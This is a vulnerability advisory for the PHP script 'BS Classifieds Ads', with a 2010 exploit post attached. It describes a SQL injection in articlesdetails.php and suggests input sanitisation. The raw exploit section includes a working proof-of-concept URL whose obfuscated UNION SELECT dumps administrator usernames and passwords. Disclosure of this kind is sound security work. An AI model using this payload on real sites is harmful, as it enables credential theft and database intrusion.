BS Classifieds Ads

vendor:

BS Classifieds Ads

by:

Easy Laster

CVSS

HIGH

SQL Injection

CWE

Product Name: BS Classifieds Ads

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

The vulnerability exists due to insufficient filtration of user-supplied data passed via the 'id' parameter to the '/General_Classifieds/articlesdetails.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in the application's database. This can be exploited to disclose the application's data, including the administrator's credentials stored in the 'fpoll_config' table.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should sanitize all user-supplied input to prevent malicious SQL statements from being executed.

Source

Exploit-DB raw data:

----------------------------Information------------------------------------------------
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 06.07.2010
+Script  : BS Classifieds Ads
+Price : $24.95
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
---------------------------------------------------------------------------------------
                                                                                        
 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|         
   
   
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/General_Classifieds/articlesdetails.php?id=
----------------------------------------------------------------------------------------
+Proof of Concept : www.site.com/General_Classifieds/articlesdetails.php?id='/**/+
uNiOn+/**/SeLeCt+/**/1,gRoUp_cOnCat(user,0x3a,pass),3+/**/fRoM+/**/fpoll_config--+
----------------------------------------------------------------------------------------